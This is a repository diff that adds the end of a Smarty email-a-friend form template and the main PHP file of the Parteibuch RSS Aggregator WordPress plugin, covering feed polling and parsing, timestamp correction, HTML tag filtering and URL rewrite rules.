+		</tr>
+		<tr>
+		<td class="odl_label_right">Your email:	</td>
+		<td><input type="text" name="odlinksdata[mailfrom]" value="{$mailfrom}" size="35"></td>
+		</tr>
+		<tr bgcolor="#F4F4F4">
+		<td class="odl_label_right">Friend's Name: </td>
+		<td><input type="text" name="odlinksdata[fname]" value="{$fname}" size="35"></td>
+		</tr>
+		<tr>
+		<td class="odl_label_right">Friend's Email: </td>
+		<td><input type="text" name="odlinksdata[mailto]" value="{$mailto}" size="35"></td>
+		</tr>
+		{$confirm}
+		<tr bgcolor="#F4F4F4"><td></td><td><input type=submit value="Send Email" name=odlinksdata[send]></p></td></tr>
+	</table>
+	
+	{php}do_action('odlinkspost_topic_above_submit');{/php}
+	<p>&nbsp;</p>
+	</form>
+	</div>
+	{if $googlebtn}
+		{$googleAd}
+	{/if}
+<HR />
+<div class="main-content">
+{include file='footer.tpl'}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rss-aggregator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rss-aggregator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rss-aggregator.php	(revision 44)
@@ -0,0 +1,801 @@
+<?php
+
+/*
+Plugin Name: Parteibuch RSS Aggregator
+Plugin URI: http://www.mein-parteibuch.com/blog/parteibuch-aggregator/
+Description: A template based RSS Aggregator with search capability. After first activation <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php&action=editpbaoutput&pboutput=1&pbstart=1">start configuration here</a>
+Version: 0.5.2
+Author: Mein Parteibuch
+Author URI: http://www.mein-parteibuch.com/
+
+The Parteibuch Aggregator is
+based on Bryan Palmers (bryan@ozpolitics.info) 
+http://www.ozpolitics.info/blog/?p=87
+BDP RSS Aggregator. 
+
+Thank Bryan for the great work, but please don't bother 
+him with support requests for the Parteibuch Aggregator.
+
+Bookmarks come from social bookmarks plugin.
+
+Note: tabs set to two spaces
+*/
+
+/*  Copyright 2009  Mein Parteibuch  (email : katzen_no_xxx_spam_freund@mein-parteibuch.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+/* ----- constants ----- */
+define ('PBA_PRODUCT',		'Parteibuch Aggregator');	// Doh!
+define ('PBA_VERSION',		'0.5.2'); // CHECK: should be the same as above!
+define ('PBA_DIRECTORY',	'parteibuch-aggregator');				// base in plugins directory
+
+define ('PBA_CACHE_PATH',dirname(__FILE__)."/pbacache/"); // the directory to be used as disk cache
+define ('BDPRSS2_DEBUG',		FALSE);
+
+/* ----- initialisation ----- */
+
+if ( !(phpversion() >= '5.0') )
+	die( 'Your server is running PHP version ' . phpversion() . 
+	' but the Parteibuch Aggregator Wordpress plugin requires at least 5.0' );
+
+if( !function_exists('mb_internal_encoding') || !function_exists('mb_regex_encoding') )
+	die( 'Your installation of PHP does not appear to support multibyte strings. '.
+	'This support is needed by the Parteibuch Aggregator plugin. '.
+	'You should ask your web-hoster to install it; it is easy to install. '.
+	'For more information, refer to <a href="http://www.phpbuilder.com/manual/ref.mbstring.php">'.
+	'http://www.phpbuilder.com/manual/ref.mbstring.php</a>.');
+
+//$timeshift=get_option('gmt_offset');
+//echo $timeshift;
+
+/* ----- includes ----- */
+if( !class_exists('Snoopy') ) require_once(ABSPATH."wp-includes/class-snoopy.php");
+if(defined('WPLANG') && file_exists(dirname(__FILE__) . '/pba-defaultparameter_'. substr(WPLANG,0,2) .'.php')){
+	include_once(dirname(__FILE__) . '/pba-defaultparameter_'. substr(WPLANG,0,2) .'.php');
+}else{
+	include_once(dirname(__FILE__) . '/pba-defaultparameter.php');
+}
+
+require_once(dirname(__FILE__) . '/bdp-rssaggregator-db.php');
+require_once(dirname(__FILE__) . '/bdp-rssfeed.php');
+
+/* ----- main game ----- */
+if( !class_exists('BDPRSS2') ) 	// for protection only
+{
+	/* ----- globals ----- */
+	
+	// this seems to be the first reliable header, let us test, when it is called, just testing, it seems to be loaded before headers are sent
+	//add_action('plugins_loaded', array('BDPRSS2', 'testingheaders'));
+	
+	// this seems to be the first reliable header, let us test, when it is called, just testing, it seems usually to be loaded before headers are sent
+	//add_action('init', array('BDPRSS2', 'testingheaders'));
+
+	add_action('template_redirect', array('BDPRSS2', 'pba_catch_template_redirect'));
+	add_action('wp_head', array('BDPRSS2', 'tag'));				// advertising
+	add_action('admin_menu', array('BDPRSS2', 'adminMenu'));	// link in the relevant admin menus
+	add_action('shutdown', array('BDPRSS2', 'pba_shutdown'));	// routine updating
+	add_filter('the_content', array('BDPRSS2', 'replace_page_content'));
+	add_filter('rewrite_rules_array', array('BDPRSS2', 'pba_rewrite'));
+	if(function_exists('register_deactivation_hook')) register_deactivation_hook( __FILE__, 'pba_uninstaller' );
+
+	function pba_uninstaller(){
+		global $bdprss_db;
+		if($bdprss_db->pbaoption('delete_alldata') == 'Y'){
+			//echo 'Parteibuch Aggregator: "Delete all data" option set';
+			$bdprss_db->reset();
+		}else{
+			true;
+			//nothing to do, we are before sending headers, so we can't send a message to the user
+			//echo 'Parteibuch Aggregator: "Delete all data" option not set, keeping data for reactivation of the aggregator plugin.';
+		}
+	}
+
+	//like to have some widgets? here you have:
+		include_once(dirname(__FILE__) . '/pba-widgets.php');
+
+	$bdprssTagSet = array(
+		'Links'			=> array('a'),
+		'Images'		=> array('img'),
+		'Paragraphs' 	=> array('p'),
+		'Line breaks' 	=> array('br'),
+		'Italics' 		=> array('em', 'i'),
+		'Underlining' 	=> array('u'),
+		'Bolding' 		=> array('b', 'strong'),
+		'Spans' 		=> array('span'),
+		'Text formating'=> array('abbr', 'cite', 'code', 'dfn', 'kbd', 'object', 'pre', 
+			'quote', 'ruby', 'samp', 'strike', 'style', 'sub', 'sup', 'var' ),
+		'Tables' 		=> array('table', 'tr', 'th', 'td', 'thead', 'tbody', 'tfoot'),
+		'Lists' 		=> array('ol', 'ul', 'dl', 'nl', 'li', 'di', 'dd', 'dt', 'label'),
+		'Headings' 		=> array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'),
+		'Block quotes' 	=> array('blockquote'),
+		'Divisions' 	=> array('div'),
+		'Separators' 	=> array('separator', 'hr')
+	);
+	
+	$bdprssdate = "bdprssarchivedate";
+	$bdprssCacheItem = "bdprsscacheitem";
+	$bdprssList = "bdprsslist";
+	
+	//globals
+	
+	$remember_pbapage=false;
+	
+	class BDPRSS2 
+	{
+		/* --- hooks --- */
+		
+//some functions triggered by the hooks
+
+
+		function pba_rewrite(&$rules){
+			
+			global $bdprss_db;
+			$pbadefault=$bdprss_db->pbaoption('enable_rewriting'); // can we access this already when generating rewrite rules?
+			$doit=false;
+			if(isset($pbadefault)) {
+				if($pbadefault == 'Y' && count($rules) > 5) $doit = true;
+			}
+			//hook and function is only fired, when rewrite rules are recreated
+			//Now the funny part
+			$pba_rules = array(
+				//tickersucheregex
+				'(.+?)?/s/[^/]+(/tickerpage/[0-9]+)?(/feed)?/?$' => 'index.php?&pagename=$matches[1]',
+				//kalenderregex
+				'([^/]+?)/([kc]alend[ae]r|opml|feedlist|ticker-feed|tickerpage)(/[0-9/-]+)?/?$' => 'index.php?&pagename=$matches[1]',
+				//dateregex
+				'(.+?)?/?[0-9]{4}-[0-9]{2}-[0-9]{2}(/tickerpage/[0-9]{1,}|/feed|/ticker-feed)?/?$' => 'index.php?&pagename=$matches[1]',
+				//cacheregex
+				'([^/page0-9]+?)/([0-9]+)/?$' => 'index.php?&pagename=$matches[1]'
+			);
+			
+			//echo "Debug: myrules: " . print_r($pba_rules);
+			if($doit) $rules =  array_merge($pba_rules, $rules);
+			
+			//tricky stuff: the following line will make the rewrite entry in mstatustable be recreated at next page call
+			//if we would just recreate the memtablestatus rewriting row now, then the rules change would 
+			//not be detected, because wordpress is not finished processing the rule
+			
+			$bdprss_db->mark_entry_as_old_in_statustable('rewriting');
+			
+			return $rules;
+		}
+
+//see here, MSIE is buggy http://us3.php.net/manual/en/function.ob-gzhandler.php#84493
+		function isBuggyIe() {
+		  $ua = $_SERVER['HTTP_USER_AGENT'];
+		  // quick escape for non-IEs
+		  if (0 !== strpos($ua, 'Mozilla/4.0 (compatible; MSIE ')
+		      || false !== strpos($ua, 'Opera')) {
+		      return false;
+		  }
+		  // no regex = faaast
+		  $version = (float)substr($ua, 30);
+		  return ( $version <= 8 );
+		}
+
+		function pba_catch_template_redirect(){
+			//here some lines to debug rewrite rules
+			//global $post;
+			//echo "<br><b>We passed pba_catch_template_redirect, post is: " . PBALIB::get_r($post) . "</b>";
+			//echo "The rules are: " . str_replace("\n",'<br>',PBALIB::get_r(get_option('rewrite_rules')));
+			
+			if(is_page()){
+
+				global $remember_pbapage;
+				$pba_page_config['getoutputconfigbypageid']=true;
+				$pba_page=@PBA::outputwrapper($pba_page_config);
+	
+				if(isset($pba_page['shutdown']) && $pba_page['shutdown'] === true) {
+					BDPRSS2::isBuggyIe() || ob_start("ob_gzhandler");
+					echo $pba_page['result']; //xml output goes here
+					do_action('shutdown');
+					wp_cache_close();
+					exit;
+				} elseif(isset($pba_page['redirect']) && $pba_page['redirect'] === true){
+					//do redirect
+					header("Location: " . $pba_page['result']);
+					exit;
+				} else {
+					if($pba_page['result'] !== false){
+						$remember_pbapage=$pba_page;
+					}
+				}
+			}
+		}
+		
+		function tag() 
+		{
+		/* tag() 
+		 *  -- called early on to place a comment tag in the page 
+		 *	-- I use the tag when people ask for help debugging why the plugin doesn't work for them.
+		 */
+			global $bdprss_db;
+//			echo "\n\t<!-- ".PBA_PRODUCT." " .PBA_VERSION. " -->\n";
+//parteibuch deactiveated due to security concerns			if( $bdprss_db->get_mysql_version() < '4.0' )
+//parteibuch deactiveated due to security concerns				echo "\t<!-- Warning: Your version of MySQL (" . $bdprss_db->get_mysql_version() . 
+//parteibuch deactiveated due to security concerns				") appears old. You should update it. -->\n";
+		}
+		
+		function adminMenu()
+		{
+		/* adminMenu() -- called when the administration pages are being displayed
+		 *	-- this function hooks the RSS Feeds page into the admin menus
+		 */
+			if (function_exists('add_management_page')) 
+				add_management_page('Parteibuch RSS Aggregator', 'RSS Aggregator', 9, 
+					dirname(__FILE__).'/bdp-rssadmin.php');
+		}
+		
+		function pba_shutdown() 
+		{
+		// pba_shutdown() -- called at shutdown - processed the jobs
+		//print_r(getrusage());
+
+			global $bdprss_db;
+
+//print_r($bdprss_db->serverstatus);
+
+			ignore_user_abort(true);
+			wp_cache_close();
+			flush();
+			if(!ini_get('safe_mode')) set_time_limit(0);
+//			sleep(15); //just for simulating time intensive operations
+
+			if(isset($bdprss_db->serverstatus['job2start']['name'])&& isset($bdprss_db->serverstatus['job2start']['time'])){
+				//we will not touch any jobs announced more than 8 seconds ago, the job manager could be already trying to reassign them
+				if(time() - $bdprss_db->serverstatus['job2start']['time'] < 8) $pba_job=$bdprss_db->serverstatus['job2start']['name'];
+			}
+			if(isset($pba_job)
+				&& !$bdprss_db->highserverload
+				&& $bdprss_db->memtablesok
+				&& method_exists($bdprss_db, $pba_job)
+			){
+				$bdprss_db->jobaction($pba_job, "start");
+				$return=$bdprss_db->$pba_job();
+			}
+			if(isset($pba_job)){
+				//echo "killing the job ... ";
+				$bdprss_db->jobaction($pba_job, "kill");
+				//echo "... done";
+			}
+		}
+		
+		//see an example of wp hooks here: http://www.devlounge.net/articles/wordpress-plugin-filters
+		function replace_page_content($content = ''){
+			global $remember_pbapage;
+		  if($remember_pbapage !== false){
+				$content .= $remember_pbapage['result'];
+		  }
+			return $content;
+		}
+		
+		/* ----- utilities ----- */
+		function tagalise($key)
+		{
+			return 'bdprss_xhtml_' . preg_replace("'[\s]*'", '', strtolower($key));
+		}
+		
+		
+		/* --- core input functions --- */
+		
+		function update(&$row) 
+		{
+		/* update(&$row) 
+		 *  -- does the grunt work of updating a feed, 
+		 *  -- specified by a row from the site-table
+		 */
+			global $bdprss_db;
+			
+			//$bdprss_db->recordError('Debug', 'Im here 1 at update');
+			
+			// Check we have a row from the site-table
+			if(!isset($row) || !$row || !$row->{$bdprss_db->cidentifier} || !$row->{$bdprss_db->cfeedurl})
+			{
+				$bdprss_db->recordError('Snark', 
+					"Snark: update() called without a row from the siteTable (this should never happen)");
+				return;
+			}
+			$now = time();
+			$cidentifier = $row->{$bdprss_db->cidentifier};
+			$url = $row->{$bdprss_db->cfeedurl};
+			$lastupdated = (int) $row->{$bdprss_db->cupdatetime};
+			
+			// set the next poll time
+			$siteArray = array();
+			$siteArray['cidentifier'] = $cidentifier;
+			$siteArray['clastpolltime'] = $now;
+			if($row->{$bdprss_db->cpollingfreqmins})
+				$siteArray['cnextpolltime'] = $now + (60 * (int) $row->{$bdprss_db->cpollingfreqmins});
+			else
+				$siteArray['cnextpolltime'] = $now + (60 * (int) get_option('bdprss_update_frequency'));
+			$bdprss_db->updateTable($bdprss_db->sitetable, $siteArray, 'cidentifier');
+
+//mem table update
+			$bdprss_db->updateTable($bdprss_db->msitetable, $siteArray, 'cidentifier');
+
+			// Clear errorBase
+			$bdprss_db->deleteErrors($url);
+			
+			// Get the feed
+			$feed = new BDPFeed($url);
+			$pfeed = $feed->parse();
+			if(!$pfeed)
+			{
+				$bdprss_db->recordError($url, "Failed to parse $url");
+				return;
+			}
+			
+			// extract and save key site information
+			if(isset($pfeed['title'])) { $siteArray['csitename'] = mb_substr($pfeed['title'], 0, 250); } else { $siteArray['csitename'] = ""; };
+			$siteArray['csiteurl'] =  mb_substr($pfeed['link'], 0, 250);
+			if(isset($pfeed['copyright'])) $siteArray['csitelicense'] =  mb_substr($pfeed['copyright'], 0, 250);
+			if(isset($pfeed['description'])) {
+				$siteArray['cdescription'] = mb_substr($pfeed['description'], 0, 250);
+			}elseif(isset($pfeed['tagline'])){
+				$siteArray['cdescription'] = mb_substr($pfeed['tagline'], 0, 250);
+			}else{
+				$siteArray['cdescription'] = "";
+			}
+			$siteArray['cupdatetime'] = $now;
+			$bdprss_db->updateTable($bdprss_db->sitetable, $siteArray, 'cidentifier',
+				$row->{$bdprss_db->csitenameoverride}=='Y');
+
+//mem table
+			$bdprss_db->updateTable($bdprss_db->msitetable, $siteArray, 'cidentifier',
+				$row->{$bdprss_db->csitenameoverride}=='Y');
+
+
+			// Establish virginity - an important concept for sites that don't provide item timestamps
+			$virgin = ($lastupdated == 1);
+			if(BDPRSS2_DEBUG) $bdprss_db->recordError($url, "I am a virgin site");
+			
+			// extract and save key item information
+			$counter = 1;
+			foreach ($pfeed['items'] as $item) 
+			{
+				$ticks = 0;
+				
+				$link = $item['link'];
+				if(isset($item['title'])) {
+					$title = $item['title'];
+				}else{
+					$title=false;
+				}
+
+//parteibuch fill the new item site name, url and license info
+				$itemsitename="";
+				$itemsiteurl="";
+				$itemlicense="";
+
+				$itemsitename .= $row->{$bdprss_db->csitename};
+				$itemsiteurl .= $row->{$bdprss_db->csiteurl};
+				$itemlicense .= $row->{$bdprss_db->csitelicense};
+
+				if(!($row->{$bdprss_db->csitenameoverride}=='Y')){
+					if(isset($item['dc:creator']) && strlen($item['dc:creator'])>0) {
+					  $itemsitename = $item['dc:creator'];
+					} elseif(strlen(mb_substr($pfeed['title'], 0, 250))>0){
+					  $itemsitename = mb_substr($pfeed['title'], 0, 250);
+					}
+					if(isset($item['dc:source']) && strlen($item['dc:source'])>0) {
+					  $itemsiteurl = $item['dc:source'];
+					} elseif(strlen(mb_substr($pfeed['link'], 0, 250))>0){
+					  $itemsiteurl = mb_substr($pfeed['link'], 0, 250);
+					}
+					if(isset($item['dc:rights']) && strlen($item['dc:rights'])>0) {
+					  $itemlicense = $item['dc:rights'];
+					} elseif(isset($pfeed['copyright']) && strlen(mb_substr($pfeed['copyright'], 0, 250))>0){
+					  $itemlicense = mb_substr($pfeed['copyright'], 0, 250);
+					}
+				}
+
+				if(!$link && isset($item['guid']))
+				{
+					// A work around for Penny Sharpe's blog - http://pennysharpe.com/redleather/
+					$link = $item['guid']; // in RSS guid stands for globally unique identifier 
+				}
+					
+				// some error reporting sequences
+				if($link) 
+					{ $preError = "<a href='$link'>"; $postError = '</a>'; } 
+				if($title && $link)
+					$errorLink = ' ('.$preError.$title.$postError.') ';
+				elseif($title && !$link)
+					$errorLink = ' ('.$title.') ';
+				elseif($link && !$title)
+					$errorLink = ' ['.$preError.'link'.$postError.'] ';
+				else
+					$errorLink = '';
+					
+				if(!$title)
+				{
+					$bdprss_db->recordError($url, "No title in feed for item $errorLink");
+					// lets see if we can make a half a meaningful title from the link
+					$title = 'No title';
+				}
+				
+				if(!$link) 
+				{
+					$bdprss_db->recordError($url, "No link in feed for item $errorLink");
+					continue; // a URL link for the item is needed for the database
+				}
+
+//Parteibuch Debug
+				if(false && $url=='http://www.blog.de/srv/xml/xmlfeed.php?blog=140501&mode=rss2.0') 
+				{
+					$bdprss_db->recordError($url, "Debug about wrong link for $errorLink");
+				}
+
+				
+				$link =	mb_substr($link, 0, 250);	// keep it short buddy 
+				$title = mb_substr($title, 0, 250);	// keep it short buddy 
+					
+				// get the itemtext
+				if(isset($item['content:encoded'])) 
+					$itemtext = $item['content:encoded'];
+				elseif(isset($item['description']))
+					$itemtext = $item['description'];
+				elseif(isset($item['content']))
+					$itemtext = $item['content'];
+				elseif(isset($item['summary'])) 
+					$itemtext = $item['summary'];
+				else
+					$itemtext = '';
+					
+				// get the time - this is tricky because many feeds don't provide a timestamp
+				$ticks = 0;
+				$timeType = 
+					array('pubDate', 'dc:date', 'created', 'issued', 'published', 'updated', 'modified');
+				$done = FALSE;
+				foreach($timeType as $t)
+				{
+					if(isset($item[$t]))
+					{
+						$done = TRUE;
+						$ticks = strtotime($item[$t]);
+						if($ticks > 0) break;
+						$ticks = preg_replace("'[- +a-z]*$'si", '', $item[$t]);
+						$ticks = strtotime($ticks);
+						if($ticks > 0) break;
+						$ticks = BDPRSS2::w3cdtf($item[$t]); 
+						if($ticks > 0) break;
+						$bdprss_db->recordError($url, 'Exact time of item post not correctly encoded: '.
+							$t.'['.$item[$t]."] $errorLink");
+						$done = FALSE;
+					}
+					if($ticks < 0)	$ticks = 0;
+				}
+				if(!$done) $bdprss_db->recordError($url, 
+					"No time-stamp in feed for post item $errorLink");
+				$rawTicks = $ticks;
+				$gmtadjust_seconds = intval(floatval($row->{$bdprss_db->cgmtadjust}) * 3600);
+				$ticks += $gmtadjust_seconds;
+				
+				// make time adjustments -- including for those feeds without timestamps
+				$windforward = FALSE;
+				$windback = FALSE;
+				$gmt_adjust = 0.0;
+				if($ticks <= 1000000) 
+				{
+					if($virgin) 
+						$ticks = 0; 
+					else 
+						$ticks = $now - $counter;
+				} 
+				else
+				{
+					if (!$virgin) 
+					{
+						// reprogram any necessary GMT adjustments for out of sync time stamps
+						// we can change $ticks here as ...
+						// ... $bdprss_db->update_itemstable() only updates $ticks on inserts
+						// ... it will not affect updates
+						if($ticks > intval($now+300)) 
+						{
+							$windback = TRUE;	
+							$gmt_adjust = -0.5;
+						}
+						if($ticks < intval($lastupdated-300)) {
+							$windforward = TRUE;
+							$ticks = $now - $counter; 
+							$gmt_adjust = 0.5;
+						}
+					}
+				}
+				
+				// one final tweak to prevent forward time
+				if($ticks > $now) $ticks = $now - $counter;
+				
+				// update/insert item information
+				
+				if ($bdprss_db->updateItem($url, $title, $counter, $itemtext, $link, $ticks, $itemsitename, $itemsiteurl, $itemlicense) && !$virgin) 
+				{
+					// it was an item insert (and not an update) for an old feedurl
+					// -- let's see if we need to do an automatic adjustmemt to the time!
+					if($windback || $windforward) 
+					{
+						$bdprss_db->recordError($url, "Raw time stamp: " . 
+							PBALIB::gettheage($rawTicks). $errorLink);
+						$gmt_adjust += floatval($row->{$bdprss_db->cgmtadjust});
+						if($gmt_adjust > 48.0) $gmt_adjust = 48.0;
+						if($gmt_adjust < -48.0) $gmt_adjust = -48.0; 
+						$siteArray['cgmtadjust'] = $gmt_adjust;
+						$bdprss_db->updateTable($bdprss_db->sitetable, $siteArray, 'cidentifier',
+							$row->{$bdprss_db->csitenameoverride}=='Y');
+
+//mem table
+						$bdprss_db->updateTable($bdprss_db->msitetable, $siteArray, 'cidentifier',
+							$row->{$bdprss_db->csitenameoverride}=='Y');
+
+						$bdprss_db->recordError($url, "New GMT adjustment: $gmt_adjust hours $errorLink");
+					}
+				}
+				$counter++;
+			}
+			$bdprss_db->delete_old_items($url);
+		}
+		
+		function w3cdtf($dateString='') 
+		{
+			/* w3cdtf() -- modified from parse_w3cdtf() in functions-rss.php in Wordpress!
+			 */
+			 
+			//parteibuch: get rid of milliseconds if any
+			$dateString=preg_replace('/\.\d{3}/','',$dateString);
+			 
+			// regex to match wc3dtf
+			$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/i";
+			
+			if ( preg_match( $pat, $dateString, $match ) ) 
+			{
+				list( $year, $month, $day, $hours, $minutes, $seconds) = 
+					array( intval($match[1]), intval($match[2]), intval($match[3]), 
+					intval($match[4]), intval($match[5]), intval($match[6]));
+				
+				if ( $match[10] != 'Z' ) 
+				{
+					list( $tz_mod, $tz_hour, $tz_min ) =
+						array( $match[8], intval($match[9]), intval($match[10]));
+					
+					// zero out the variables
+					if ( ! $tz_hour ) { $tz_hour = 0; }
+					if ( ! $tz_min ) { $tz_min = 0; }
+					
+					$offset = (($tz_hour*60)+$tz_min)*60;
+					
+					// is timezone ahead of GMT?  then subtract offset
+					if ( $tz_mod == '+' ) { $offset *= -1; }
+				}
+				else
+				{
+					$offset = 0;
+				}
+				
+				$secondsSinceEpoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year) + $offset;
+			}
+			else
+			{
+				$secondsSinceEpoch = -1;	// error
+			}
+			
+			return $secondsSinceEpoch;
+		}
+		
+		
+		/* --- core output functions --- */
+		
+		function remove_link_and_cache_links_from_item($itemtext=''){
+			//Remove old Cache Link at end of posting
+			$itemtext=preg_replace('/\[[^\]]*&gt;Cache&lt;\/a&gt;\]$/','',$itemtext);
+			//Remove old Link Link at end of posting
+			$itemtext=preg_replace('/\[[^\]]*&gt;Link&lt;\/a&gt;\] ?$/','',$itemtext);
+			return $itemtext;
+		}
+		
+		function packageItemText($string, $wordCount=0, $maxWordLength=50, $processTags=FALSE, $tagSet='')
+		{
+			global $bdp_output;
+			// keep acceptable tags
+			$string = mb_eregi_replace("\&lt;", 	'<', 	$string);
+			$string = mb_eregi_replace("\&gt;", 	'>', 	$string);
+			if($processTags && $tagSet)
+			{
+				$tagSet = preg_split("','", $tagSet, -1, PREG_SPLIT_NO_EMPTY);
+				foreach($tagSet as $ts)
+				{
+					// space out tags so they are are easy to identify
+					$string = mb_eregi_replace("<($ts [^>]*)>",	" &lt;\\1&gt;",	$string);
+					$string = mb_eregi_replace("<($ts)>",		" &lt;\\1&gt;",	$string);
+					$string = mb_eregi_replace("<(/$ts)>",		" &lt;\\1&gt;",	$string);
+				}
+			}
+			// delete unrequired tags
+			$string = mb_eregi_replace("<[a-zA-Z]+[^>]*>", 	'',	$string);
+			$string = mb_eregi_replace("</[a-zA-Z]+[^>]*>",	'',	$string);
+			// restore required tags
+			$string = mb_eregi_replace("\&lt;", 	'<', 	$string);
+			$string = mb_eregi_replace("\&gt;", 	'>', 	$string);
+				
+			// count words
+			$words = explode(' ', $string);
+			$outWords = array();
+			$count = count($words);
+			
+			$inTag = false;
+			$HTMLclosure = array();
+			$token = false;
+			
+			if(!$wordCount) $wordCount= -1;	// backward compatibility so that zero = no limit
+			
+			for($i=0; $i<$count && $wordCount!=0; $i++)
+			{
+				// trim
+				$outWords[$i] = mb_ereg_replace("^\s+",	"",	$words[$i]);
+				$outWords[$i] = mb_ereg_replace("\s+$",	"",	$outWords[$i]);
+				
+				if(!$outWords[$i]) continue;
+			
+				if($processTags)
+				{
+					if(mb_ereg('^<', $outWords[$i])) 
+					{
+						if($inTag) $bdp_output .= "<!-- glitch nested tags? -->\n";
+						$inTag = TRUE;
+						if(mb_ereg('^<([a-zA-Z]+)', $outWords[$i], $matches))
+						{
+							//open tag
+							$m = mb_strtolower($matches[1]);
+							array_push($HTMLclosure, $m); 
+							$token = $m;
+						}
+						if(mb_ereg('^</([a-zA-Z]+).*', $outWords[$i], $matches))
+						{
+							// close tag
+							$m = mb_strtolower($matches[1]);
+							$t = array_pop($HTMLclosure);
+							if($t && $t!=$m)
+								array_push($HTMLclosure, $t);
+							$inTag = FALSE;
+						}
+					}
+					
+					if($inTag)
+					{
+						if(mb_ereg('/>', $outWords[$i]))
+						{
+							// closure
+							$m = $token;
+							$t = array_pop($HTMLclosure);
+							if($t && $t!=$m) array_push($HTMLclosure, $t);
+						}
+						// quotes in tags must be respected
+						$outWords[$i] = mb_eregi_replace('&quot;',	'"', 	$outWords[$i]);
+						$outWords[$i] = mb_eregi_replace('&#39;', 	"'",  	$outWords[$i]);
+						if(mb_ereg('>', $outWords[$i]))  
+						{					
+							$inTag = FALSE;
+							$token = FALSE;
+						}
+						continue;
+					}
+				}
+				$len = mb_strlen($outWords[$i]);
+				if($maxWordLength && $len > $maxWordLength)
+				{ 
+					$outWords[$i] =  mb_substr($outWords[$i], 0, $maxWordLength);
+					$outWords[$i] .= '~';
+				}
+				$wordCount--;
+			}
+			
+			$ret =  implode(' ', $outWords);
+			
+			if($inTag) $ret .= '>';
+			
+			if(count($words) > count($outWords)) $ret .= ' ...';
+			
+			if($processTags)
+			{
+				// close open tags
+				while($t = array_pop($HTMLclosure)) $ret .= "</$t>"; 
+				
+				// tighten up the HTML 
+				$ret = mb_eregi_replace(" (</[a-zA-Z]+>)", "\\1", $ret);
+				$ret = mb_eregi_replace("([\(\$\[\{]) (<[a-zA-Z]+[^\>]*>)", "\\1\\2", $ret);
+				$ret = mb_eregi_replace("&quot; (<[a-zA-Z]+[^\>]*>)", "&quot;\\1", $ret);
+				$ret = mb_eregi_replace("&#34; (<[a-zA-Z]+[^\>]*>)", "&#34;\\1", $ret);
+				$ret = mb_eregi_replace("&#39; (<[a-zA-Z]+[^\>]*>)", "&#39;\\1", $ret);
+				$ret = mb_eregi_replace("&#8216; (<[a-zA-Z]+[^\>]*>)", "&#8216;\\1", $ret);
+				$ret = mb_eregi_replace("&lsquo; (<[a-zA-Z]+[^\>]*>)", "&lsquo;\\1", $ret);
+				$ret = mb_eregi_replace("&#8220; (<[a-zA-Z]+[^\>]*>)", "&#8220;\\1", $ret);
+				$ret = mb_eregi_replace("&ldquo; (<[a-zA-Z]+[^\>]*>)", "&ldquo;\\1", $ret);
+				$ret = mb_eregi_replace("(<[a-zA-Z]+[^\>]*>) (<[a-zA-Z]+[^\>]*>)", "\\1\\2", $ret);
+			}
+			return ($ret);
+		}
+		
+		function codeQuotes($text)
+		{
+			$text = ereg_replace('&#39;' ,"'", $text);
+			$text = eregi_replace('&quot;' ,'"' , $text);
+			return $text;
+		}
+
+// begin old function dummies
+		function print_item_set(&$itemSet, $listInfo, $relative='relative', $short_cache_link=false, $add_social_bookmarks=false, $useitemtitles=false){
+			echo "Debug: functionality of print_item_set function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function putsiteheader($prehead, $posthead, $siteaddress, $description, $sitename){
+			echo "Debug: functionality of putsiteheader function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function output($output_id, $overwrite_items_per_site='N', $short_cache_link=false, $outputdate="", $add_social_bookmarks=false, $tickerpage=1, $search="", $useitemtitles=false, $overwrite_listfilter=false){
+			echo "Debug: functionality of output function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function archiveDate($output_id){
+			echo "Debug: functionality of archiveDate function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function archiveList($output_id, $query_string_archive=true){
+			echo "Debug: functionality of archiveList function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function viewCache($listnum=0,$itemnum=0){
+			echo "Debug: functionality of viewCache function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function rss_print_item_set(&$itemSet, $listInfo, $relative='relative', $short_cache_link=false, $itemdate, $search) {
+			echo "Debug: functionality of rss_print_item_set function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function rss_output($output_id, $short_cache_link=false){
+		// rss_output() --	just a reference on historic reasons to output()
+			$feeditems=BDPRSS2::output($output_id, 'N', $short_cache_link, "", false, 'feed', "", false);
+			return $feeditems;
+		}
+		function feeds_in_ticker($feedinlist=1,$age=604800){
+			echo "Debug: functionality of feeds_in_ticker function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function feedlist($output_id=1, $maxage=604800, $list_id=false){
+			echo "Debug: functionality of feeds_in_ticker function has been replaced by PBA::outputwrapper";
+			return false;
+		}
+		function process_url_parameter(){
+			echo "Debug: function process_url_parameter has been removed to class PBALIB in pba_output_library.php";
+			return false;
+		}
+// end old function dummies
+
+
+	} // class BDPRSS2 
+} // if( !class_exists('BDPRSS2') )
+
+
+//here cames the parteibuch aggregator stuff
+  if(!(isset($bdprsssearchdebug) && $bdprsssearchdebug ===true)&& !class_exists('BDPRSS_SEARCH') ) {
+    require_once(dirname(__FILE__) . '/pba-rsssearch.php');
+    require_once(dirname(__FILE__) . '/pba_output_function.php');
+		global $bdprss_db;
+    if($bdprss_db->memtables_were_ok == 0) $result=$bdprss_search->bdprss_create_proc();
+  }
